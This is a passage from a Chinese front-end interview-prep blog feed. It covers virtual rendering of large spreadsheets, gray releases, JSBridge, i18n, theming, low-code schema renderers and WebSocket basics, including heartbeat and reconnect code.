           integrity=&quot;sha384-xxx&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;

8. 供应链安全
   - 依赖审计：npm audit / snyk
   - lock 文件提交（package-lock.json）
   - CI 检查依赖漏洞
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;长列表与大数据渲染&lt;/h2&gt;
&lt;h3&gt;Q6: 10 万行 Excel 数据如何在前端渲染并支持编辑？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;核心思路：虚拟滚动 + 分片计算 + 增量渲染

架构：
┌──────────────────────────────────────┐
│  数据层（Web Worker + IndexedDB）    │
│  - 原始数据 10 万行放 Worker 内存     │
│  - 大文件用 IndexedDB 分片存储        │
│  - 计算（排序/过滤/公式）在 Worker    │
├──────────────────────────────────────┤
│  渲染层（Canvas 或 DOM 虚拟列表）     │
│  - Canvas：&amp;gt;5000 单元格推荐           │
│  - DOM：编辑交互友好，&amp;lt;1000 行足够    │
├──────────────────────────────────────┤
│  交互层（键盘/鼠标/剪贴板）           │
│  - 隐藏 textarea 接收键盘输入         │
│  - 复制粘贴解析 TSV/HTML              │
└──────────────────────────────────────┘

关键实现：

1. Canvas 渲染（性能最优）
   - 只绘制可视区（20x50 单元格 = 1000 个）
   - requestAnimationFrame 节流重绘
   - 分层 Canvas：背景层 + 数据层 + 选中层高亮

2. 数据分片加载
   - 首次只加载前 1000 行，滚动时按需加载
   - Worker 中预处理（排序、过滤）

3. 编辑交互
   - 单元格激活时创建浮动 input 定位到该格
   - 编辑完成写回 Worker 数据源，重绘该行

4. 现成方案
   - AG Grid（企业级，功能全，收费）
   - Handsontable（Excel-like，商用收费）
   - Luckysheet / Univer（国产开源）
   - RevoGrid（Web Component，轻量）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;前端灰度与热更新&lt;/h2&gt;
&lt;h3&gt;Q7: 前端如何做灰度发布？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;方案对比：

方案 A：CDN 多版本共存
dist/
├── v1.0.0/         # 老版本
├── v1.1.0/         # 新版本
└── index.html      # 入口，根据用户 ID 决定加载哪个版本

灰度逻辑（Node 网关 or Nginx Lua）：
if (hash(userId) % 100 &amp;lt; grayPercent) {
  serve(&apos;v1.1.0/index.html&apos;);
} else {
  serve(&apos;v1.0.0/index.html&apos;);
}

方案 B：客户端灰度配置
1. 前端启动时先拉 /api/gray-config（这个接口本身不能灰度）
2. 根据配置动态加载不同 JS bundle
3. 好处：粒度可到功能级（feature flag）

方案 C：Feature Flag（推荐）
if (featureFlag(&apos;new_checkout_flow&apos;)) {
  render(&amp;lt;NewCheckout /&amp;gt;);
} else {
  render(&amp;lt;OldCheckout /&amp;gt;);
}
- 无需发版即可切换
- 支持按用户/百分比/地域开关
- 工具：LaunchDarkly / Unleash / 自研

灰度维度：
- 内部用户（员工邮箱）→ 内测用户 → 1% → 10% → 50% → 100%
- 每阶段观察 24h，关键指标（错误率、转化率）达标才推进

监控与回滚：
- 关键指标：JS 错误率、白屏率、页面加载时长、业务转化
- 阈值：错误率上涨 &amp;gt; 20% 自动告警
- 回滚：配置中心一键切回旧版本，无需重新发版
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;移动端专题&lt;/h2&gt;
&lt;h3&gt;Q8: H5 与原生 App 如何交互（JSBridge）？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;JSBridge 三种通信方式：

1. URL Scheme 拦截（老方案，兼容性好）
   - H5 触发 iframe.src = &apos;jsbridge://methodName?params=xxx&apos;
   - Native 拦截 URL，解析方法名和参数
   - 缺点：URL 长度限制、连续调用可能丢

2. 注入 API（现代方案）
   - Android：addJavascriptInterface(window.native, ...)
   - iOS：WKScriptMessageHandler
   - H5 直接调 window.native.methodName(params)
   - 缺点：Android 4.2 前有安全漏洞

3. prompt/console 拦截（备用）
   - Native 拦截 window.prompt / console.log
   - 兼容性最好，但性能差

统一封装：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;class JSBridge {
  static callbacks = new Map();
  static callbackId = 0;

  static call(nativeMethod, params = {}) {
    return new Promise((resolve, reject) =&amp;gt; {
      const cbId = `cb_${++this.callbackId}_${Date.now()}`;
      this.callbacks.set(cbId, { resolve, reject });

      const payload = JSON.stringify({
        method: nativeMethod,
        params,
        callbackId: cbId,
      });

      // 分平台调用
      if (window.webkit?.messageHandlers?.native) {
        window.webkit.messageHandlers.native.postMessage(payload);  // iOS
      } else if (window.native) {
        window.native.postMessage(payload);                          // Android
      } else {
        // 降级：URL Scheme
        const iframe = document.createElement(&apos;iframe&apos;);
        iframe.src = `jsbridge://${nativeMethod}?data=${encodeURIComponent(payload)}`;
        document.body.appendChild(iframe);
        setTimeout(() =&amp;gt; iframe.remove(), 100);
      }

      // 超时
      setTimeout(() =&amp;gt; {
        if (this.callbacks.has(cbId)) {
          this.callbacks.delete(cbId);
          reject(new Error(&apos;JSBridge timeout&apos;));
        }
      }, 5000);
    });
  }

  // Native 调用此方法回传结果
  static handleCallback(callbackId, result) {
    const cb = this.callbacks.get(callbackId);
    if (cb) {
      cb.resolve(result);
      this.callbacks.delete(callbackId);
    }
  }
}
window.JSBridge = JSBridge;

// 使用
const userInfo = await JSBridge.call(&apos;getUserInfo&apos;);
await JSBridge.call(&apos;share&apos;, { title: &apos;xxx&apos;, url: &apos;yyy&apos; });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;常见场景：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;获取用户信息 / Token&lt;/li&gt;
&lt;li&gt;调用原生分享 / 支付 / 扫码&lt;/li&gt;
&lt;li&gt;关闭当前 WebView&lt;/li&gt;
&lt;li&gt;打开新页面（原生路由）&lt;/li&gt;
&lt;li&gt;设置标题栏 / 状态栏&lt;/li&gt;
&lt;li&gt;获取地理位置 / 设备信息&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;国际化&lt;/h2&gt;
&lt;h3&gt;Q9: 前端 i18n 方案怎么设计？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;方案对比：

| 方案 | 优点 | 缺点 |
|:--|:--|:--|
| JSON 语言包（vue-i18n / react-intl） | 简单、生态好 | 语言包体积大 |
| ICU MessageFormat | 复数、性别、日期灵活 | 学习成本高 |
| 服务端下发 | 支持热更新 | 首屏依赖接口 |

vue-i18n 使用：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// locales/zh-CN.js
export default {
  common: { confirm: &apos;确认&apos;, cancel: &apos;取消&apos; },
  user: { greeting: &apos;你好，{name}&apos;, items: &apos;{count} 条消息&apos; },
};

// 使用
t(&apos;common.confirm&apos;)             // 确认
t(&apos;user.greeting&apos;, { name: &apos;Tom&apos; })  // 你好，Tom
t(&apos;user.items&apos;, { count: 5 })   // 5 条消息（支持复数）

// 语言切换
i18n.global.locale.value = &apos;en-US&apos;;
localStorage.setItem(&apos;locale&apos;, &apos;en-US&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键难点：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;难点&lt;/th&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;语言包体积&lt;/td&gt;
&lt;td&gt;按路由懒加载 / 按需拆分 / 服务端下发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日期时间格式&lt;/td&gt;
&lt;td&gt;Intl.DateTimeFormat / dayjs + locale 插件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数字货币&lt;/td&gt;
&lt;td&gt;Intl.NumberFormat（自动处理千分位、货币符号）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RTL 语言（阿拉伯语）&lt;/td&gt;
&lt;td&gt;CSS logical properties（margin-inline-start）+ dir=&quot;rtl&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;图片/图标本地化&lt;/td&gt;
&lt;td&gt;图片命名带语言后缀 or CSS background 切换&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;后端返回的文本&lt;/td&gt;
&lt;td&gt;后端接受 Accept-Language 头返回对应语言&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SEO 多语言&lt;/td&gt;
&lt;td&gt;hreflang 标签 + 独立 URL（/en/、/zh/）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;首屏语言闪烁&lt;/td&gt;
&lt;td&gt;HTML 直出时读取 Cookie/Accept-Language 决定&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;主题换肤&lt;/h2&gt;
&lt;h3&gt;Q10: 前端主题换肤方案？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;方案 1：CSS 变量（推荐，运行时切换）
:root {
  --primary: #409eff;
  --bg: #fff;
  --text: #333;
}
[data-theme=&quot;dark&quot;] {
  --primary: #66b1ff;
  --bg: #1a1a1a;
  --text: #eee;
}
.btn { background: var(--primary); }

// 切换：document.documentElement.dataset.theme = &apos;dark&apos;;
// 优势：无需重载 CSS，秒切
// 劣势：老浏览器不支持（IE），需要预置所有主题变量

方案 2：多份 CSS 文件（构建时生成）
- theme-light.css / theme-dark.css
- 切换时动态替换 &amp;lt;link href&amp;gt;
- 优势：兼容性好，CSS 静态优化
- 劣势：切换有闪烁，构建产物翻倍

方案 3：Sass/Less 变量（构建时）
- 用户下载不同主题包
- 只能构建时决定，无法运行时切换
- 适合组件库提供给用户定制

方案 4：CSS-in-JS（运行时）
- styled-components ThemeProvider
- 灵活但性能差

方案 5：Filter 反色（应急）
filter: invert(1) hue-rotate(180deg);
- 一行 CSS 实现暗色，图片再反色回来
- 只适合临时方案，颜色不准

推荐组合：
- 组件库：Sass 变量（构建时）+ CSS 变量（运行时）
- 业务应用：CSS 变量 + 预置主题配置
- 用户自定义：暴露关键 Token（--primary、--radius）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;低代码平台&lt;/h2&gt;
&lt;h3&gt;Q11: 低代码平台前端如何设计？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;低代码平台四大核心模块：

1. 物料（组件库）
   - 基础组件：Button / Input / Table
   - 业务组件：UserCard / OrderList
   - 每个组件有 Schema 描述（props、slots、events）

2. 编排器（画布）
   - 拖拽组件到画布
   - 属性面板编辑 props
   - 事件绑定（点击 → 打开弹窗 / 调接口）
   - 大纲树（层级视图）

3. 数据源
   - 静态数据（JSON）
   - 接口数据（配置 URL、参数、响应映射）
   - 页面变量（响应式状态）

4. 出码 / 渲染
   - Schema → 运行时渲染（在线预览）
   - Schema → 源码出码（导出 Vue/React 项目）

核心 Schema 协议：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;componentName&quot;: &quot;Page&quot;,
  &quot;props&quot;: { &quot;title&quot;: &quot;用户列表&quot; },
  &quot;children&quot;: [
    {
      &quot;componentName&quot;: &quot;Table&quot;,
      &quot;props&quot;: {
        &quot;columns&quot;: [...],
        &quot;dataSource&quot;: {
          &quot;type&quot;: &quot;JSExpression&quot;,
          &quot;value&quot;: &quot;this.state.users&quot;
        }
      },
      &quot;events&quot;: {
        &quot;onRowClick&quot;: {
          &quot;type&quot;: &quot;JSFunction&quot;,
          &quot;value&quot;: &quot;function(row) { this.openDetail(row.id); }&quot;
        }
      }
    }
  ],
  &quot;dataSource&quot;: {
    &quot;list&quot;: [{
      &quot;id&quot;: &quot;users&quot;,
      &quot;type&quot;: &quot;fetch&quot;,
      &quot;options&quot;: { &quot;uri&quot;: &quot;/api/users&quot;, &quot;method&quot;: &quot;GET&quot; }
    }]
  },
  &quot;lifeCycles&quot;: {
    &quot;componentDidMount&quot;: { &quot;type&quot;: &quot;JSFunction&quot;, &quot;value&quot;: &quot;...&quot; }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;渲染器实现：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Renderer(schema) {
  const Component = componentMap[schema.componentName];   // 物料注册表
  const props = resolveProps(schema.props, context);       // 解析 JSExpression
  const children = schema.children?.map(Renderer);
  return &amp;lt;Component {...props}&amp;gt;{children}&amp;lt;/Component&amp;gt;;
}

// 表达式解析（安全考虑不用 eval，用 new Function 或 vm）
function resolveProps(props, context) {
  return Object.fromEntries(
    Object.entries(props).map(([k, v]) =&amp;gt; [
      k,
      v?.type === &apos;JSExpression&apos;
        ? new Function(&apos;ctx&apos;, `with(ctx) return ${v.value}`)(context)
        : v,
    ])
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;开源方案：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;阿里 LowCodeEngine（生态最全）&lt;/li&gt;
&lt;li&gt;腾讯 TMagic&lt;/li&gt;
&lt;li&gt;百度 Amis（JSON 配置驱动）&lt;/li&gt;
&lt;li&gt;Formily（表单场景）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;核心难点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Schema 版本兼容（升级不能破坏老页面）&lt;/li&gt;
&lt;li&gt;表达式沙箱（防 XSS）&lt;/li&gt;
&lt;li&gt;出码质量（可读性、可维护性）&lt;/li&gt;
&lt;li&gt;性能（大页面渲染优化）&lt;/li&gt;
&lt;li&gt;二次开发（pro-code 混编）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;场景题回答模板&lt;/strong&gt;（万能公式）&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;反问澄清&lt;/strong&gt;：用户量、场景、约束（体现工程思维）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;给整体架构&lt;/strong&gt;：分层图 or 数据流（3-5 句话说清）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;拆解关键模块&lt;/strong&gt;：每个模块的核心 API / 数据结构&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;点出难点&lt;/strong&gt;：性能 / 一致性 / 兼容性 / 安全&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;给权衡方案&lt;/strong&gt;：MVP → 完整版的演进路径&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;量化收益&lt;/strong&gt;：体积降 X%、响应快 Xms、支持 X 并发&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;大文件上传&lt;/strong&gt;：分片 + hash 秒传 + 断点续传 + Worker 计算&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;权限系统&lt;/strong&gt;：路由级 + 按钮级 + 数据级，前端做体验、后端保安全&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;错误监控&lt;/strong&gt;：SDK 采集 + sendBeacon 上报 + SourceMap 还原 + 采样&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;富文本&lt;/strong&gt;：ProseMirror/Slate/Lexical，Schema + Transaction + Plugin&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;前端安全&lt;/strong&gt;：XSS（转义+CSP）、CSRF（SameSite+Token）、SRI、HSTS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;长列表&lt;/strong&gt;：Canvas 渲染 + Web Worker 数据 + IndexedDB 存储&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;灰度发布&lt;/strong&gt;：CDN 多版本 / Feature Flag / 按用户百分比&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JSBridge&lt;/strong&gt;：URL Scheme + Native 注入 API + 回调管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;i18n&lt;/strong&gt;：vue-i18n + Intl API + RTL + hreflang SEO&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;换肤&lt;/strong&gt;：CSS 变量为主，运行时切换，Sass 变量兼容构建时定制&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;低代码&lt;/strong&gt;：物料 + 编排器 + Schema 协议 + 渲染器/出码&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-18-soft-skills/&quot;&gt;软素质与 HR 面&lt;/a&gt; 涵盖自我介绍、项目难点挖掘、STAR 表述、离职原因、职业规划、反问环节、薪资谈判等非技术面试环节。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/interview-guide-00-overview/&quot;&gt;面试宝典总览&lt;/a&gt; | &lt;a href=&quot;/blog/interview-guide/&quot;&gt;面试宝典合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>实时通信面试题（WebSocket/SSE/WebRTC）</title><link>http://117.72.32.87/blog/posts/interview-guide-16-realtime/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-16-realtime/</guid><description>讲解 WebSocket 协议与握手、心跳重连、SSE、长轮询对比、Socket.IO、WebRTC P2P、协同编辑（OT/CRDT）、直播弹幕等实时通信场景。</description><pubDate>Wed, 16 Sep 2026 12:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 18+ 道实时通信面试题，覆盖聊天、通知、协同编辑、直播、多人游戏等场景，是差异化竞争的加分模块。难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;通信方式对比&lt;/h2&gt;
&lt;h3&gt;Q1: 短轮询、长轮询、SSE、WebSocket 怎么选？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;方向&lt;/th&gt;
&lt;th&gt;连接&lt;/th&gt;
&lt;th&gt;实时性&lt;/th&gt;
&lt;th&gt;服务端压力&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;短轮询&lt;/td&gt;
&lt;td&gt;单向&lt;/td&gt;
&lt;td&gt;频繁建立&lt;/td&gt;
&lt;td&gt;差（延迟=间隔）&lt;/td&gt;
&lt;td&gt;大&lt;/td&gt;
&lt;td&gt;简单场景，实时性要求低&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;长轮询&lt;/td&gt;
&lt;td&gt;单向&lt;/td&gt;
&lt;td&gt;保持到超时&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;兼容性要求高、更新少&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSE&lt;/td&gt;
&lt;td&gt;服务器 → 客户端&lt;/td&gt;
&lt;td&gt;长连接（HTTP）&lt;/td&gt;
&lt;td&gt;好&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;通知、股票行情、日志流&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WebSocket&lt;/td&gt;
&lt;td&gt;双向&lt;/td&gt;
&lt;td&gt;长连接（TCP）&lt;/td&gt;
&lt;td&gt;极好&lt;/td&gt;
&lt;td&gt;小（连接后）&lt;/td&gt;
&lt;td&gt;聊天、协同、游戏&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WebRTC&lt;/td&gt;
&lt;td&gt;双向 P2P&lt;/td&gt;
&lt;td&gt;UDP/TCP&lt;/td&gt;
&lt;td&gt;极好&lt;/td&gt;
&lt;td&gt;极小&lt;/td&gt;
&lt;td&gt;音视频、屏幕共享&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// 短轮询（最不推荐，但最简单）
setInterval(async () =&amp;gt; {
  const data = await fetch(&apos;/api/messages&apos;).then(r =&amp;gt; r.json());
  render(data);
}, 5000);

// 长轮询
async function longPoll() {
  try {
    const data = await fetch(&apos;/api/messages?wait=30&apos;).then(r =&amp;gt; r.json());
    // 服务端 hold 住连接，有数据或超时才返回
    render(data);
  } finally {
    longPoll();   // 立即再发起
  }
}
longPoll();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;选型建议：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;只需要服务器推送（AI 流式响应、通知、股票） → &lt;strong&gt;SSE&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;需要双向实时（聊天、协同、游戏） → &lt;strong&gt;WebSocket&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;音视频 / P2P 大流量 → &lt;strong&gt;WebRTC&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;兼容极老浏览器 → 长轮询兜底&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;WebSocket&lt;/h2&gt;
&lt;h3&gt;Q2: WebSocket 协议与握手过程？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;WebSocket 是应用层协议，基于 TCP，通过 HTTP Upgrade 建立连接：

1. 客户端发起 HTTP 请求（Upgrade 头）
GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==      ← 客户端随机生成
Sec-WebSocket-Version: 13

2. 服务端响应 101 Switching Protocols
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
  ↑ = Base64(SHA1(Sec-WebSocket-Key + &quot;258EAFA5-E914-47DA-95CA-C5AB0DC85B11&quot;))

3. TCP 连接保持，转为 WebSocket 帧协议双向通信

关键点：
- 握手用 HTTP，之后不是 HTTP（帧协议）
- 端口默认 80（ws://）或 443（wss://，加密）
- Sec-WebSocket-Key/Accept 用于防止普通 HTTP 请求误升级
- 建立后全双工，客户端和服务端都可以主动发消息
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: WebSocket API 与常见用法？⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;const ws = new WebSocket(&apos;wss://example.com/chat&apos;);

// 4 个核心事件
ws.onopen = () =&amp;gt; {
  console.log(&apos;连接建立&apos;);
  ws.send(JSON.stringify({ type: &apos;login&apos;, token }));
};
ws.onmessage = (e) =&amp;gt; {
  const msg = JSON.parse(e.data);
  handleMessage(msg);
};
ws.onerror = (e) =&amp;gt; console.error(&apos;错误&apos;, e);
ws.onclose = (e) =&amp;gt; {
  console.log(&apos;关闭&apos;, e.code, e.reason);
  // 常见 close code：
  // 1000 正常关闭 / 1001 端点离开 / 1006 异常断开（无 close 帧）
  // 1011 服务端错误 / 1015 TLS 握手失败
};

// readyState 四个状态
WebSocket.CONNECTING  // 0
WebSocket.OPEN        // 1
WebSocket.CLOSING     // 2
WebSocket.CLOSED      // 3

// 发送多种数据
ws.send(&apos;hello&apos;);                    // 文本
ws.send(JSON.stringify({ a: 1 }));   // JSON 序列化
ws.send(arrayBuffer);                // 二进制
ws.send(blob);                       // Blob

// 主动关闭
ws.close(1000, &apos;user logout&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q4: 心跳机制与断线重连怎么实现？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 为什么需要心跳？
// 1. NAT/防火墙会关闭长时间空闲连接（通常 60s-5min）
// 2. 网络切换（WiFi → 4G）后 TCP 连接失效但客户端不知道
// 3. 服务端异常断开，浏览器不一定触发 onclose

class ReconnectingWebSocket {
  constructor(url, options = {}) {
    this.url = url;
    this.heartbeatInterval = options.heartbeatInterval || 30000;
    this.reconnectInterval = options.reconnectInterval || 3000;
    this.maxReconnectTimes = options.maxReconnectTimes || 10;
    this.reconnectTimes = 0;
    this.handlers = new Map();       // 事件监听
    this.manualClose = false;        // 是否主动关闭
    this.connect();
  }

  connect() {
    this.ws = new WebSocket(this.url);
    this.ws.onopen = () =&amp;gt; {
      this.reconnectTimes = 0;       // 重置重连计数
      this.startHeartbeat();
      this.emit(&apos;open&apos;);
    };
    this.ws.onmessage = e =&amp;gt; this.emit(&apos;message&apos;, e);
    this.ws.onclose = e =&amp;gt; {
      this.stopHeartbeat();
      this.emit(&apos;close&apos;, e);
      if (!this.manualClose) this.reconnect();
    };
    this.ws.onerror = e =&amp;gt; this.emit(&apos;error&apos;, e);
  }

  startHeartbeat() {
    this.heartbeatTimer = setInterval(() =&amp;gt; {
      if (this.ws.readyState === WebSocket.OPEN) {
        this.ws.send(JSON.stringify({ type: &apos;ping&apos;, ts: Date.now() }));
      }
    }, this.heartbeatInterval);

    // 超时未收到 pong，认为连接死了，主动关闭触发重连
    this.pongTimeout = setTimeout(() =&amp;gt; {
      this.ws.close();
    }, this.heartbeatInterval * 1.5);

    this.ws.addEventListener(&apos;message&apos;, e =&amp;gt; {
      if (JSON.parse(e.data).type === &apos;pong&apos;) {
        clearTimeout(this.pongTimeout);
      }
    });
  }

  stopHeartbeat() {
    clearInterval(this.heartbeatTimer);
    clearTimeout(this.pongTimeout);
  }

  reconnect() {
    if (this.reconnectTimes &amp;gt;= this.maxReconnectTimes) {
      this.emit(&apos;reconnect-failed&apos;);
      return;
    }
    // 指数退避：3s → 6s → 12s → 24s（最大 30s）
    const delay = Math.min(
      this.reconnectInterval * Math.pow(2, this.reconnectTimes),
      30000
    );
    setTimeout(() =&amp;gt; {
      this.reconnectTimes++;
      this.connect();
    }, delay);
  }

  send(data) {
    if (this.ws.readyState === WebSocket.OPEN) {
      this.ws.send(data);
    } else {
      // 离线消息队列（可选）
      this.pendingQueue = this.pendingQueue || [];
      this.pendingQueue.push(data);
    }
  }

  close() {
    this.manualClose = true;
    this.stopHeartbeat();
    this.ws.close(1000, &apos;client close&apos;);
  }

  on(event, fn) {
    if (!this.handlers.has(event)) this.handlers.set(event, new Set());
    this.handlers.get(event).add(fn);
  }
  emit(event, ...args) {
    this.handlers.get(event)?.forEach(fn =&amp;gt; fn(...args));
  }
}

// 使用
const ws = new ReconnectingWebSocket(&apos;wss://example.com/chat&apos;);
ws.on(&apos;message&apos;, e =&amp;gt; console.log(e.data));

// 补充优化：
// - 监听 online/offline 事件，网络恢复立即重连
// - 页面隐藏时（visibilitychange）降低心跳频率
// - 登录 token 过期时不重连，跳登录页
window.addEventListener(&apos;online&apos;, () =&amp;gt; ws.reconnect());
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q5: WebSocket 消息格式怎么设计？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 统一消息协议（前后端约定）
{
  &quot;type&quot;: &quot;chat.message&quot;,       // 事件类型（点分命名）
  &quot;id&quot;: &quot;msg-uuid-xxx&quot;,          // 消息 ID（幂等/去重/ACK）
  &quot;seq&quot;: 12345,                  // 序列号（消息顺序）
  &quot;timestamp&quot;: 1726000000000,
  &quot;data&quot;: { /* 业务数据 */ },
  &quot;code&quot;: 0,                     // 状态码（响应消息用）
  &quot;message&quot;: &quot;ok&quot;                // 错误信息
}

// 消息分类：
// - 请求消息：客户端主动发起（chat.send）
// - 响应消息：服务端回复请求（chat.send.ack）
// - 通知消息：服务端主动推送（chat.new_message）
// - 系统消息：心跳、错误、断线（ping/pong/error）

// 消息可靠性保证：
// 1. ACK 机制：客户端发消息后等待服务端 ACK，超时重发
// 2. 消息去重：服务端根据 msg_id 去重（Redis Set）
// 3. 顺序保证：seq 序列号 + 客户端排序
// 4. 断线补发：重连后带 last_seq，服务端补发缺失消息
// 5. 离线消息：用户上线后拉取离线队列

// 二进制 vs JSON：
// - JSON：可读性好，调试方便，体积稍大（大多数场景够用）
// - Protobuf：二进制协议，体积小 3-5 倍，需前后端约定 .proto
// - MessagePack：JSON 兼容的二进制格式
// - 高频/大数据场景（游戏、协同）推荐 Protobuf
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q6: Nginx 反向代理 WebSocket 怎么配置？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# WebSocket 需要 Nginx 传递 Upgrade 头
location /ws/ {
    proxy_pass http://backend_ws;
    proxy_http_version 1.1;                    # 必须 1.1
    proxy_set_header Upgrade $http_upgrade;    # 关键
    proxy_set_header Connection &quot;upgrade&quot;;     # 关键
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;

    # 超时（默认 60s 会断开长连接）
    proxy_read_timeout 3600s;
    proxy_send_timeout 3600s;

    # 关闭缓冲，实时转发
    proxy_buffering off;
}

# 负载均衡时的会话保持
